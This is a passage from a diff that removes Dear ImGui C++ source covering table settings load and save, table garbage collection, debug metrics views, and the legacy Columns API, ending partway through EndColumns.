column->AutoFitQueue = 0x00; - } - if (settings->SaveFlags & ImGuiTableFlags_Reorderable) - column->DisplayOrder = column_settings->DisplayOrder; - else - column->DisplayOrder = (ImGuiTableColumnIdx)column_n; - display_order_mask |= (ImU64)1 << column->DisplayOrder; - column->IsEnabled = column->IsEnabledNextFrame = column_settings->IsEnabled; - column->SortOrder = column_settings->SortOrder; - column->SortDirection = column_settings->SortDirection; - } - - // Validate and fix invalid display order data - const ImU64 expected_display_order_mask = (settings->ColumnsCount == 64) ? ~0 : ((ImU64)1 << settings->ColumnsCount) - 1; - if (display_order_mask != expected_display_order_mask) - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - table->Columns[column_n].DisplayOrder = (ImGuiTableColumnIdx)column_n; - - // Rebuild index - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - table->DisplayOrderToIndex[table->Columns[column_n].DisplayOrder] = (ImGuiTableColumnIdx)column_n; -} - -static void TableSettingsHandler_ClearAll(ImGuiContext* ctx, ImGuiSettingsHandler*) -{ - ImGuiContext& g = *ctx; - for (int i = 0; i != g.Tables.GetSize(); i++) - g.Tables.GetByIndex(i)->SettingsOffset = -1; - g.SettingsTables.clear(); -} - -// Apply to existing windows (if any) -static void TableSettingsHandler_ApplyAll(ImGuiContext* ctx, ImGuiSettingsHandler*) -{ - ImGuiContext& g = *ctx; - for (int i = 0; i != g.Tables.GetSize(); i++) - { - ImGuiTable* table = g.Tables.GetByIndex(i); - table->IsSettingsRequestLoad = true; - table->SettingsOffset = -1; - } -} - -static void* TableSettingsHandler_ReadOpen(ImGuiContext*, ImGuiSettingsHandler*, const char* name) -{ - ImGuiID id = 0; - int columns_count = 0; - if (sscanf(name, "0x%08X,%d", &id, &columns_count) < 2) - return NULL; - - if (ImGuiTableSettings* settings = ImGui::TableSettingsFindByID(id)) - { - if (settings->ColumnsCountMax >= columns_count) - { - TableSettingsInit(settings, id, columns_count, settings->ColumnsCountMax); // Recycle - return settings; - } - settings->ID = 0; // Invalidate storage, we won't fit because of a count change - } - return ImGui::TableSettingsCreate(id, columns_count); -} - -static void TableSettingsHandler_ReadLine(ImGuiContext*, ImGuiSettingsHandler*, void* entry, const char* line) -{ - // "Column 0 UserID=0x42AD2D21 Width=100 Visible=1 Order=0 Sort=0v" - ImGuiTableSettings* settings = (ImGuiTableSettings*)entry; - float f = 0.0f; - int column_n = 0, r = 0, n = 0; - - if (sscanf(line, "RefScale=%f", &f) == 1) { settings->RefScale = f; return; } - - if (sscanf(line, "Column %d%n", &column_n, &r) == 1) - { - if (column_n < 0 || column_n >= settings->ColumnsCount) - return; - line = ImStrSkipBlank(line + r); - char c = 0; - ImGuiTableColumnSettings* column = settings->GetColumnSettings() + column_n; - column->Index = (ImGuiTableColumnIdx)column_n; - if (sscanf(line, "UserID=0x%08X%n", (ImU32*)&n, &r)==1) { line = ImStrSkipBlank(line + r); column->UserID = (ImGuiID)n; } - if (sscanf(line, "Width=%d%n", &n, &r) == 1) { line = ImStrSkipBlank(line + r); column->WidthOrWeight = (float)n; column->IsStretch = 0; settings->SaveFlags |= ImGuiTableFlags_Resizable; } - if (sscanf(line, "Weight=%f%n", &f, &r) == 1) { line = ImStrSkipBlank(line + r); column->WidthOrWeight = f; column->IsStretch = 1; settings->SaveFlags |= ImGuiTableFlags_Resizable; } - if (sscanf(line, "Visible=%d%n", &n, &r) == 1) { line = ImStrSkipBlank(line + r); column->IsEnabled = (ImU8)n; settings->SaveFlags |= ImGuiTableFlags_Hideable; } - if (sscanf(line, "Order=%d%n", &n, &r) == 1) { line = ImStrSkipBlank(line + r); column->DisplayOrder = (ImGuiTableColumnIdx)n; settings->SaveFlags |= ImGuiTableFlags_Reorderable; } - if (sscanf(line, "Sort=%d%c%n", &n, &c, &r) == 2) { line = ImStrSkipBlank(line + r); column->SortOrder = (ImGuiTableColumnIdx)n; column->SortDirection = (c == '^') ? ImGuiSortDirection_Descending : ImGuiSortDirection_Ascending; settings->SaveFlags |= ImGuiTableFlags_Sortable; } - } -} - -static void TableSettingsHandler_WriteAll(ImGuiContext* ctx, ImGuiSettingsHandler* handler, ImGuiTextBuffer* buf) -{ - ImGuiContext& g = *ctx; - for (ImGuiTableSettings* settings = g.SettingsTables.begin(); settings != NULL; settings = g.SettingsTables.next_chunk(settings)) - { - if (settings->ID == 0) // Skip ditched settings - continue; - - // TableSaveSettings() may clear some of those flags when we establish that the data can be stripped - // (e.g. Order was unchanged) - const bool save_size = (settings->SaveFlags & ImGuiTableFlags_Resizable) != 0; - const bool save_visible = (settings->SaveFlags & ImGuiTableFlags_Hideable) != 0; - const bool save_order = (settings->SaveFlags & ImGuiTableFlags_Reorderable) != 0; - const bool save_sort = (settings->SaveFlags & ImGuiTableFlags_Sortable) != 0; - if (!save_size && !save_visible && !save_order && !save_sort) - continue; - - buf->reserve(buf->size() + 30 + settings->ColumnsCount * 50); // ballpark reserve - buf->appendf("[%s][0x%08X,%d]\n", handler->TypeName, settings->ID, settings->ColumnsCount); - if (settings->RefScale != 0.0f) - buf->appendf("RefScale=%g\n", settings->RefScale); - ImGuiTableColumnSettings* column = settings->GetColumnSettings(); - for (int column_n = 0; column_n < settings->ColumnsCount; column_n++, column++) - { - // "Column 0 UserID=0x42AD2D21 Width=100 Visible=1 Order=0 Sort=0v" - buf->appendf("Column %-2d", column_n); - if (column->UserID != 0) buf->appendf(" UserID=%08X", column->UserID); - if (save_size && column->IsStretch) buf->appendf(" Weight=%.4f", column->WidthOrWeight); - if (save_size && !column->IsStretch) buf->appendf(" Width=%d", (int)column->WidthOrWeight); - if (save_visible) buf->appendf(" Visible=%d", column->IsEnabled); - if (save_order) buf->appendf(" Order=%d", column->DisplayOrder); - if (save_sort && column->SortOrder != -1) buf->appendf(" Sort=%d%c", column->SortOrder, (column->SortDirection == ImGuiSortDirection_Ascending) ? 'v' : '^'); - buf->append("\n"); - } - buf->append("\n"); - } -} - -void ImGui::TableSettingsInstallHandler(ImGuiContext* context) -{ - ImGuiContext& g = *context; - ImGuiSettingsHandler ini_handler; - ini_handler.TypeName = "Table"; - ini_handler.TypeHash = ImHashStr("Table"); - ini_handler.ClearAllFn = TableSettingsHandler_ClearAll; - ini_handler.ReadOpenFn = TableSettingsHandler_ReadOpen; - ini_handler.ReadLineFn = TableSettingsHandler_ReadLine; - ini_handler.ApplyAllFn = TableSettingsHandler_ApplyAll; - ini_handler.WriteAllFn = TableSettingsHandler_WriteAll; - g.SettingsHandlers.push_back(ini_handler); -} - -//------------------------------------------------------------------------- -// [SECTION] Tables: Garbage Collection -//------------------------------------------------------------------------- -// - TableRemove() [Internal] -// - TableGcCompactTransientBuffers() [Internal] -// - TableGcCompactSettings() [Internal] -//------------------------------------------------------------------------- - -// Remove Table (currently only used by TestEngine) -void ImGui::TableRemove(ImGuiTable* table) -{ - //IMGUI_DEBUG_LOG("TableRemove() id=0x%08X\n", table->ID); - ImGuiContext& g = *GImGui; - int table_idx = g.Tables.GetIndex(table); - //memset(table->RawData.Data, 0, table->RawData.size_in_bytes()); - //memset(table, 0, sizeof(ImGuiTable)); - g.Tables.Remove(table->ID, table); - g.TablesLastTimeActive[table_idx] = -1.0f; -} - -// Free up/compact internal Table buffers for when it gets unused -void ImGui::TableGcCompactTransientBuffers(ImGuiTable* table) -{ - //IMGUI_DEBUG_LOG("TableGcCompactTransientBuffers() id=0x%08X\n", table->ID); - ImGuiContext& g = *GImGui; - IM_ASSERT(table->MemoryCompacted == false); - table->DrawSplitter.ClearFreeMemory(); - table->SortSpecsMulti.clear(); - table->SortSpecs.Specs = NULL; - table->IsSortSpecsDirty = true; - table->ColumnsNames.clear(); - table->MemoryCompacted = true; - for (int n = 0; n < table->ColumnsCount; n++) - table->Columns[n].NameOffset = -1; - g.TablesLastTimeActive[g.Tables.GetIndex(table)] = -1.0f; -} - -// Compact and remove unused settings data (currently only used by TestEngine) -void ImGui::TableGcCompactSettings() -{ - ImGuiContext& g = *GImGui; - int required_memory = 0; - for (ImGuiTableSettings* settings = g.SettingsTables.begin(); settings != NULL; settings = g.SettingsTables.next_chunk(settings)) - if (settings->ID != 0) - required_memory += (int)TableSettingsCalcChunkSize(settings->ColumnsCount); - if (required_memory == g.SettingsTables.Buf.Size) - return; - ImChunkStream new_chunk_stream; - new_chunk_stream.Buf.reserve(required_memory); - for (ImGuiTableSettings* settings = g.SettingsTables.begin(); settings != NULL; settings = g.SettingsTables.next_chunk(settings)) - if (settings->ID != 0) - memcpy(new_chunk_stream.alloc_chunk(TableSettingsCalcChunkSize(settings->ColumnsCount)), settings, TableSettingsCalcChunkSize(settings->ColumnsCount)); - g.SettingsTables.swap(new_chunk_stream); -} - - -//------------------------------------------------------------------------- -// [SECTION] Tables: Debugging -//------------------------------------------------------------------------- -// - DebugNodeTable() [Internal] -//------------------------------------------------------------------------- - -#ifndef IMGUI_DISABLE_METRICS_WINDOW - -static const char* DebugNodeTableGetSizingPolicyDesc(ImGuiTableFlags sizing_policy) -{ - sizing_policy &= ImGuiTableFlags_SizingMask_; - if (sizing_policy == ImGuiTableFlags_SizingFixedFit) { return "FixedFit"; } - if (sizing_policy == ImGuiTableFlags_SizingFixedSame) { return "FixedSame"; } - if (sizing_policy == ImGuiTableFlags_SizingStretchProp) { return "StretchProp"; } - if (sizing_policy == ImGuiTableFlags_SizingStretchSame) { return "StretchSame"; } - return "N/A"; -} - -void ImGui::DebugNodeTable(ImGuiTable* table) -{ - char buf[512]; - char* p = buf; - const char* buf_end = buf + IM_ARRAYSIZE(buf); - const bool is_active = (table->LastFrameActive >= ImGui::GetFrameCount() - 2); // Note that fully clipped early out scrolling tables will appear as inactive here. - ImFormatString(p, buf_end - p, "Table 0x%08X (%d columns, in '%s')%s", table->ID, table->ColumnsCount, table->OuterWindow->Name, is_active ? "" : " *Inactive*"); - if (!is_active) { PushStyleColor(ImGuiCol_Text, GetStyleColorVec4(ImGuiCol_TextDisabled)); } - bool open = TreeNode(table, "%s", buf); - if (!is_active) { PopStyleColor(); } - if (IsItemHovered()) - GetForegroundDrawList()->AddRect(table->OuterRect.Min, table->OuterRect.Max, IM_COL32(255, 255, 0, 255)); - if (IsItemVisible() && table->HoveredColumnBody != -1) - GetForegroundDrawList()->AddRect(GetItemRectMin(), GetItemRectMax(), IM_COL32(255, 255, 0, 255)); - if (!open) - return; - bool clear_settings = SmallButton("Clear settings"); - BulletText("OuterRect: Pos: (%.1f,%.1f) Size: (%.1f,%.1f) Sizing: '%s'", table->OuterRect.Min.x, table->OuterRect.Min.y, table->OuterRect.GetWidth(), table->OuterRect.GetHeight(), DebugNodeTableGetSizingPolicyDesc(table->Flags)); - BulletText("ColumnsGivenWidth: %.1f, ColumnsAutoFitWidth: %.1f, InnerWidth: %.1f%s", table->ColumnsGivenWidth, table->ColumnsAutoFitWidth, table->InnerWidth, table->InnerWidth == 0.0f ? " (auto)" : ""); - BulletText("CellPaddingX: %.1f, CellSpacingX: %.1f/%.1f, OuterPaddingX: %.1f", table->CellPaddingX, table->CellSpacingX1, table->CellSpacingX2, table->OuterPaddingX); - BulletText("HoveredColumnBody: %d, HoveredColumnBorder: %d", table->HoveredColumnBody, table->HoveredColumnBorder); - BulletText("ResizedColumn: %d, ReorderColumn: %d, HeldHeaderColumn: %d", table->ResizedColumn, table->ReorderColumn, table->HeldHeaderColumn); - //BulletText("BgDrawChannels: %d/%d", 0, table->BgDrawChannelUnfrozen); - float sum_weights = 0.0f; - for (int n = 0; n < table->ColumnsCount; n++) - if (table->Columns[n].Flags & ImGuiTableColumnFlags_WidthStretch) - sum_weights += table->Columns[n].StretchWeight; - for (int n = 0; n < table->ColumnsCount; n++) - { - ImGuiTableColumn* column = &table->Columns[n]; - const char* name = TableGetColumnName(table, n); - ImFormatString(buf, IM_ARRAYSIZE(buf), - "Column %d order %d '%s': offset %+.2f to %+.2f%s\n" - "Enabled: %d, VisibleX/Y: %d/%d, RequestOutput: %d, SkipItems: %d, DrawChannels: %d,%d\n" - "WidthGiven: %.1f, Request/Auto: %.1f/%.1f, StretchWeight: %.3f (%.1f%%)\n" - "MinX: %.1f, MaxX: %.1f (%+.1f), ClipRect: %.1f to %.1f (+%.1f)\n" - "ContentWidth: %.1f,%.1f, HeadersUsed/Ideal %.1f/%.1f\n" - "Sort: %d%s, UserID: 0x%08X, Flags: 0x%04X: %s%s%s..", - n, column->DisplayOrder, name, column->MinX - table->WorkRect.Min.x, column->MaxX - table->WorkRect.Min.x, (n < table->FreezeColumnsRequest) ? " (Frozen)" : "", - column->IsEnabled, column->IsVisibleX, column->IsVisibleY, column->IsRequestOutput, column->IsSkipItems, column->DrawChannelFrozen, column->DrawChannelUnfrozen, - column->WidthGiven, column->WidthRequest, column->WidthAuto, column->StretchWeight, column->StretchWeight > 0.0f ? (column->StretchWeight / sum_weights) * 100.0f : 0.0f, - column->MinX, column->MaxX, column->MaxX - column->MinX, column->ClipRect.Min.x, column->ClipRect.Max.x, column->ClipRect.Max.x - column->ClipRect.Min.x, - column->ContentMaxXFrozen - column->WorkMinX, column->ContentMaxXUnfrozen - column->WorkMinX, column->ContentMaxXHeadersUsed - column->WorkMinX, column->ContentMaxXHeadersIdeal - column->WorkMinX, - column->SortOrder, (column->SortDirection == ImGuiSortDirection_Ascending) ? " (Asc)" : (column->SortDirection == ImGuiSortDirection_Descending) ? " (Des)" : "", column->UserID, column->Flags, - (column->Flags & ImGuiTableColumnFlags_WidthStretch) ? "WidthStretch " : "", - (column->Flags & ImGuiTableColumnFlags_WidthFixed) ? "WidthFixed " : "", - (column->Flags & ImGuiTableColumnFlags_NoResize) ? "NoResize " : ""); - Bullet(); - Selectable(buf); - if (IsItemHovered()) - { - ImRect r(column->MinX, table->OuterRect.Min.y, column->MaxX, table->OuterRect.Max.y); - GetForegroundDrawList()->AddRect(r.Min, r.Max, IM_COL32(255, 255, 0, 255)); - } - } - if (ImGuiTableSettings* settings = TableGetBoundSettings(table)) - DebugNodeTableSettings(settings); - if (clear_settings) - table->IsResetAllRequest = true; - TreePop(); -} - -void ImGui::DebugNodeTableSettings(ImGuiTableSettings* settings) -{ - if (!TreeNode((void*)(intptr_t)settings->ID, "Settings 0x%08X (%d columns)", settings->ID, settings->ColumnsCount)) - return; - BulletText("SaveFlags: 0x%08X", settings->SaveFlags); - BulletText("ColumnsCount: %d (max %d)", settings->ColumnsCount, settings->ColumnsCountMax); - for (int n = 0; n < settings->ColumnsCount; n++) - { - ImGuiTableColumnSettings* column_settings = &settings->GetColumnSettings()[n]; - ImGuiSortDirection sort_dir = (column_settings->SortOrder != -1) ? (ImGuiSortDirection)column_settings->SortDirection : ImGuiSortDirection_None; - BulletText("Column %d Order %d SortOrder %d %s Vis %d %s %7.3f UserID 0x%08X", - n, column_settings->DisplayOrder, column_settings->SortOrder, - (sort_dir == ImGuiSortDirection_Ascending) ? "Asc" : (sort_dir == ImGuiSortDirection_Descending) ? "Des" : "---", - column_settings->IsEnabled, column_settings->IsStretch ? "Weight" : "Width ", column_settings->WidthOrWeight, column_settings->UserID); - } - TreePop(); -} - -#else // #ifndef IMGUI_DISABLE_METRICS_WINDOW - -void ImGui::DebugNodeTable(ImGuiTable*) {} -void ImGui::DebugNodeTableSettings(ImGuiTableSettings*) {} - -#endif - - -//------------------------------------------------------------------------- -// [SECTION] Columns, BeginColumns, EndColumns, etc. -// (This is a legacy API, prefer using BeginTable/EndTable!) -//------------------------------------------------------------------------- -// FIXME: sizing is lossy when columns width is very small (default width may turn negative etc.) -//------------------------------------------------------------------------- -// - SetWindowClipRectBeforeSetChannel() [Internal] -// - GetColumnIndex() -// - GetColumnsCount() -// - GetColumnOffset() -// - GetColumnWidth() -// - SetColumnOffset() -// - SetColumnWidth() -// - PushColumnClipRect() [Internal] -// - PushColumnsBackground() [Internal] -// - PopColumnsBackground() [Internal] -// - FindOrCreateColumns() [Internal] -// - GetColumnsID() [Internal] -// - BeginColumns() -// - NextColumn() -// - EndColumns() -// - Columns() -//------------------------------------------------------------------------- - -// [Internal] Small optimization to avoid calls to PopClipRect/SetCurrentChannel/PushClipRect in sequences, -// they would meddle many times with the underlying ImDrawCmd. -// Instead, we do a preemptive overwrite of clipping rectangle _without_ altering the command-buffer and let -// the subsequent single call to SetCurrentChannel() does it things once. -void ImGui::SetWindowClipRectBeforeSetChannel(ImGuiWindow* window, const ImRect& clip_rect) -{ - ImVec4 clip_rect_vec4 = clip_rect.ToVec4(); - window->ClipRect = clip_rect; - window->DrawList->_CmdHeader.ClipRect = clip_rect_vec4; - window->DrawList->_ClipRectStack.Data[window->DrawList->_ClipRectStack.Size - 1] = clip_rect_vec4; -} - -int ImGui::GetColumnIndex() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->DC.CurrentColumns ? window->DC.CurrentColumns->Current : 0; -} - -int ImGui::GetColumnsCount() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->DC.CurrentColumns ? window->DC.CurrentColumns->Count : 1; -} - -float ImGui::GetColumnOffsetFromNorm(const ImGuiOldColumns* columns, float offset_norm) -{ - return offset_norm * (columns->OffMaxX - columns->OffMinX); -} - -float ImGui::GetColumnNormFromOffset(const ImGuiOldColumns* columns, float offset) -{ - return offset / (columns->OffMaxX - columns->OffMinX); -} - -static const float COLUMNS_HIT_RECT_HALF_WIDTH = 4.0f; - -static float GetDraggedColumnOffset(ImGuiOldColumns* columns, int column_index) -{ - // Active (dragged) column always follow mouse. The reason we need this is that dragging a column to the right edge of an auto-resizing - // window creates a feedback loop because we store normalized positions. So while dragging we enforce absolute positioning. - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - IM_ASSERT(column_index > 0); // We are not supposed to drag column 0. - IM_ASSERT(g.ActiveId == columns->ID + ImGuiID(column_index)); - - float x = g.IO.MousePos.x - g.ActiveIdClickOffset.x + COLUMNS_HIT_RECT_HALF_WIDTH - window->Pos.x; - x = ImMax(x, ImGui::GetColumnOffset(column_index - 1) + g.Style.ColumnsMinSpacing); - if ((columns->Flags & ImGuiOldColumnFlags_NoPreserveWidths)) - x = ImMin(x, ImGui::GetColumnOffset(column_index + 1) - g.Style.ColumnsMinSpacing); - - return x; -} - -float ImGui::GetColumnOffset(int column_index) -{ - ImGuiWindow* window = GetCurrentWindowRead(); - ImGuiOldColumns* columns = window->DC.CurrentColumns; - if (columns == NULL) - return 0.0f; - - if (column_index < 0) - column_index = columns->Current; - IM_ASSERT(column_index < columns->Columns.Size); - - const float t = columns->Columns[column_index].OffsetNorm; - const float x_offset = ImLerp(columns->OffMinX, columns->OffMaxX, t); - return x_offset; -} - -static float GetColumnWidthEx(ImGuiOldColumns* columns, int column_index, bool before_resize = false) -{ - if (column_index < 0) - column_index = columns->Current; - - float offset_norm; - if (before_resize) - offset_norm = columns->Columns[column_index + 1].OffsetNormBeforeResize - columns->Columns[column_index].OffsetNormBeforeResize; - else - offset_norm = columns->Columns[column_index + 1].OffsetNorm - columns->Columns[column_index].OffsetNorm; - return ImGui::GetColumnOffsetFromNorm(columns, offset_norm); -} - -float ImGui::GetColumnWidth(int column_index) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImGuiOldColumns* columns = window->DC.CurrentColumns; - if (columns == NULL) - return GetContentRegionAvail().x; - - if (column_index < 0) - column_index = columns->Current; - return GetColumnOffsetFromNorm(columns, columns->Columns[column_index + 1].OffsetNorm - columns->Columns[column_index].OffsetNorm); -} - -void ImGui::SetColumnOffset(int column_index, float offset) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImGuiOldColumns* columns = window->DC.CurrentColumns; - IM_ASSERT(columns != NULL); - - if (column_index < 0) - column_index = columns->Current; - IM_ASSERT(column_index < columns->Columns.Size); - - const bool preserve_width = !(columns->Flags & ImGuiOldColumnFlags_NoPreserveWidths) && (column_index < columns->Count - 1); - const float width = preserve_width ? GetColumnWidthEx(columns, column_index, columns->IsBeingResized) : 0.0f; - - if (!(columns->Flags & ImGuiOldColumnFlags_NoForceWithinWindow)) - offset = ImMin(offset, columns->OffMaxX - g.Style.ColumnsMinSpacing * (columns->Count - column_index)); - columns->Columns[column_index].OffsetNorm = GetColumnNormFromOffset(columns, offset - columns->OffMinX); - - if (preserve_width) - SetColumnOffset(column_index + 1, offset + ImMax(g.Style.ColumnsMinSpacing, width)); -} - -void ImGui::SetColumnWidth(int column_index, float width) -{ - ImGuiWindow* window = GetCurrentWindowRead(); - ImGuiOldColumns* columns = window->DC.CurrentColumns; - IM_ASSERT(columns != NULL); - - if (column_index < 0) - column_index = columns->Current; - SetColumnOffset(column_index + 1, GetColumnOffset(column_index) + width); -} - -void ImGui::PushColumnClipRect(int column_index) -{ - ImGuiWindow* window = GetCurrentWindowRead(); - ImGuiOldColumns* columns = window->DC.CurrentColumns; - if (column_index < 0) - column_index = columns->Current; - - ImGuiOldColumnData* column = &columns->Columns[column_index]; - PushClipRect(column->ClipRect.Min, column->ClipRect.Max, false); -} - -// Get into the columns background draw command (which is generally the same draw command as before we called BeginColumns) -void ImGui::PushColumnsBackground() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - ImGuiOldColumns* columns = window->DC.CurrentColumns; - if (columns->Count == 1) - return; - - // Optimization: avoid SetCurrentChannel() + PushClipRect() - columns->HostBackupClipRect = window->ClipRect; - SetWindowClipRectBeforeSetChannel(window, columns->HostInitialClipRect); - columns->Splitter.SetCurrentChannel(window->DrawList, 0); -} - -void ImGui::PopColumnsBackground() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - ImGuiOldColumns* columns = window->DC.CurrentColumns; - if (columns->Count == 1) - return; - - // Optimization: avoid PopClipRect() + SetCurrentChannel() - SetWindowClipRectBeforeSetChannel(window, columns->HostBackupClipRect); - columns->Splitter.SetCurrentChannel(window->DrawList, columns->Current + 1); -} - -ImGuiOldColumns* ImGui::FindOrCreateColumns(ImGuiWindow* window, ImGuiID id) -{ - // We have few columns per window so for now we don't need bother much with turning this into a faster lookup. - for (int n = 0; n < window->ColumnsStorage.Size; n++) - if (window->ColumnsStorage[n].ID == id) - return &window->ColumnsStorage[n]; - - window->ColumnsStorage.push_back(ImGuiOldColumns()); - ImGuiOldColumns* columns = &window->ColumnsStorage.back(); - columns->ID = id; - return columns; -} - -ImGuiID ImGui::GetColumnsID(const char* str_id, int columns_count) -{ - ImGuiWindow* window = GetCurrentWindow(); - - // Differentiate column ID with an arbitrary prefix for cases where users name their columns set the same as another widget. - // In addition, when an identifier isn't explicitly provided we include the number of columns in the hash to make it uniquer. - PushID(0x11223347 + (str_id ? 0 : columns_count)); - ImGuiID id = window->GetID(str_id ? str_id : "columns"); - PopID(); - - return id; -} - -void ImGui::BeginColumns(const char* str_id, int columns_count, ImGuiOldColumnFlags flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = GetCurrentWindow(); - - IM_ASSERT(columns_count >= 1); - IM_ASSERT(window->DC.CurrentColumns == NULL); // Nested columns are currently not supported - - // Acquire storage for the columns set - ImGuiID id = GetColumnsID(str_id, columns_count); - ImGuiOldColumns* columns = FindOrCreateColumns(window, id); - IM_ASSERT(columns->ID == id); - columns->Current = 0; - columns->Count = columns_count; - columns->Flags = flags; - window->DC.CurrentColumns = columns; - - columns->HostCursorPosY = window->DC.CursorPos.y; - columns->HostCursorMaxPosX = window->DC.CursorMaxPos.x; - columns->HostInitialClipRect = window->ClipRect; - columns->HostBackupParentWorkRect = window->ParentWorkRect; - window->ParentWorkRect = window->WorkRect; - - // Set state for first column - // We aim so that the right-most column will have the same clipping width as other after being clipped by parent ClipRect - const float column_padding = g.Style.ItemSpacing.x; - const float half_clip_extend_x = ImFloor(ImMax(window->WindowPadding.x * 0.5f, window->WindowBorderSize)); - const float max_1 = window->WorkRect.Max.x + column_padding - ImMax(column_padding - window->WindowPadding.x, 0.0f); - const float max_2 = window->WorkRect.Max.x + half_clip_extend_x; - columns->OffMinX = window->DC.Indent.x - column_padding + ImMax(column_padding - window->WindowPadding.x, 0.0f); - columns->OffMaxX = ImMax(ImMin(max_1, max_2) - window->Pos.x, columns->OffMinX + 1.0f); - columns->LineMinY = columns->LineMaxY = window->DC.CursorPos.y; - - // Clear data if columns count changed - if (columns->Columns.Size != 0 && columns->Columns.Size != columns_count + 1) - columns->Columns.resize(0); - - // Initialize default widths - columns->IsFirstFrame = (columns->Columns.Size == 0); - if (columns->Columns.Size == 0) - { - columns->Columns.reserve(columns_count + 1); - for (int n = 0; n < columns_count + 1; n++) - { - ImGuiOldColumnData column; - column.OffsetNorm = n / (float)columns_count; - columns->Columns.push_back(column); - } - } - - for (int n = 0; n < columns_count; n++) - { - // Compute clipping rectangle - ImGuiOldColumnData* column = &columns->Columns[n]; - float clip_x1 = IM_ROUND(window->Pos.x + GetColumnOffset(n)); - float clip_x2 = IM_ROUND(window->Pos.x + GetColumnOffset(n + 1) - 1.0f); - column->ClipRect = ImRect(clip_x1, -FLT_MAX, clip_x2, +FLT_MAX); - column->ClipRect.ClipWithFull(window->ClipRect); - } - - if (columns->Count > 1) - { - columns->Splitter.Split(window->DrawList, 1 + columns->Count); - columns->Splitter.SetCurrentChannel(window->DrawList, 1); - PushColumnClipRect(0); - } - - // We don't generally store Indent.x inside ColumnsOffset because it may be manipulated by the user. - float offset_0 = GetColumnOffset(columns->Current); - float offset_1 = GetColumnOffset(columns->Current + 1); - float width = offset_1 - offset_0; - PushItemWidth(width * 0.65f); - window->DC.ColumnsOffset.x = ImMax(column_padding - window->WindowPadding.x, 0.0f); - window->DC.CursorPos.x = IM_FLOOR(window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x); - window->WorkRect.Max.x = window->Pos.x + offset_1 - column_padding; -} - -void ImGui::NextColumn() -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems || window->DC.CurrentColumns == NULL) - return; - - ImGuiContext& g = *GImGui; - ImGuiOldColumns* columns = window->DC.CurrentColumns; - - if (columns->Count == 1) - { - window->DC.CursorPos.x = IM_FLOOR(window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x); - IM_ASSERT(columns->Current == 0); - return; - } - - // Next column - if (++columns->Current == columns->Count) - columns->Current = 0; - - PopItemWidth(); - - // Optimization: avoid PopClipRect() + SetCurrentChannel() + PushClipRect() - // (which would needlessly attempt to update commands in the wrong channel, then pop or overwrite them), - ImGuiOldColumnData* column = &columns->Columns[columns->Current]; - SetWindowClipRectBeforeSetChannel(window, column->ClipRect); - columns->Splitter.SetCurrentChannel(window->DrawList, columns->Current + 1); - - const float column_padding = g.Style.ItemSpacing.x; - columns->LineMaxY = ImMax(columns->LineMaxY, window->DC.CursorPos.y); - if (columns->Current > 0) - { - // Columns 1+ ignore IndentX (by canceling it out) - // FIXME-COLUMNS: Unnecessary, could be locked? - window->DC.ColumnsOffset.x = GetColumnOffset(columns->Current) - window->DC.Indent.x + column_padding; - } - else - { - // New row/line: column 0 honor IndentX. - window->DC.ColumnsOffset.x = ImMax(column_padding - window->WindowPadding.x, 0.0f); - columns->LineMinY = columns->LineMaxY; - } - window->DC.CursorPos.x = IM_FLOOR(window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x); - window->DC.CursorPos.y = columns->LineMinY; - window->DC.CurrLineSize = ImVec2(0.0f, 0.0f); - window->DC.CurrLineTextBaseOffset = 0.0f; - - // FIXME-COLUMNS: Share code with BeginColumns() - move code on columns setup. - float offset_0 = GetColumnOffset(columns->Current); - float offset_1 = GetColumnOffset(columns->Current + 1); - float width = offset_1 - offset_0; - PushItemWidth(width * 0.65f); - window->WorkRect.Max.x = window->Pos.x + offset_1 - column_padding; -} - -void ImGui::EndColumns() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = GetCurrentWindow(); - ImGuiOldColumns* columns = window->DC.CurrentColumns; - IM_ASSERT(columns != NULL); - - PopItemWidth(); - if (columns->Count > 1) - { - PopClipRect(); - columns->Splitter.Merge(window->DrawList); - } - - const ImGuiOldColumnFlags flags = columns->Flags; - columns->LineMaxY = ImMax(columns->LineMaxY, window->DC.CursorPos.y); - window->DC.CursorPos.y = columns->LineMaxY; - if (!(flags & ImGuiOldColumnFlags_GrowParentContentsSize)) - window->DC.CursorMaxPos.x = columns->HostCursorMaxPosX; // Restore cursor max pos, as columns don't grow parent - - // Draw columns borders and handle resize - // The IsBeingResized flag ensure we preserve pre-resize columns width so back-and-forth are not lossy - bool is_being_resized = false; - if (!(flags & ImGuiOldColumnFlags_NoBorder) && !window->SkipItems) - { - // We clip Y boundaries CPU side because very long triangles are mishandled by some GPU drivers. - const float y1 = ImMax(columns->HostCursorPosY, window->ClipRect.Min.y); - const float y2 = ImMin(window->DC.CursorPos.y, window->ClipRect.Max.y); - int dragging_column = -1; - for (int n = 1; n < columns->Count; n++) - { - ImGuiOldColumnData* column = &columns->Columns[n]; - float x = window->Pos.x + GetColumnOffset(n); - const ImGuiID column_id = columns->ID + ImGuiID(n); - const float column_hit_hw = COLUMNS_HIT_RECT_HALF_WIDTH; - const ImRect column_hit_rect(ImVec2(x - column_hit_hw, y1), ImVec2(x + column_hit_hw, y2)); - KeepAliveID(column_id); - if (IsClippedEx(column_hit_rect, column_id, false)) - continue; - - bool hovered = false, held = false; - if (!(flags & ImGuiOldColumnFlags_NoResize)) - { - ButtonBehavior(column_hit_rect, column_id, &hovered, &held); - if (hovered || held) - g.MouseCursor = ImGuiMouseCursor_ResizeEW; - if (held && !(column->Flags & ImGuiOldColumnFlags_NoResize)) - dragging_column = n; - } - - // Draw column - const ImU32 col = GetColorU32(held ? ImGuiCol_SeparatorActive : hovered ? ImGuiCol_SeparatorHovered : ImGuiCol_Separator); - const float xi = IM_FLOOR(x); - 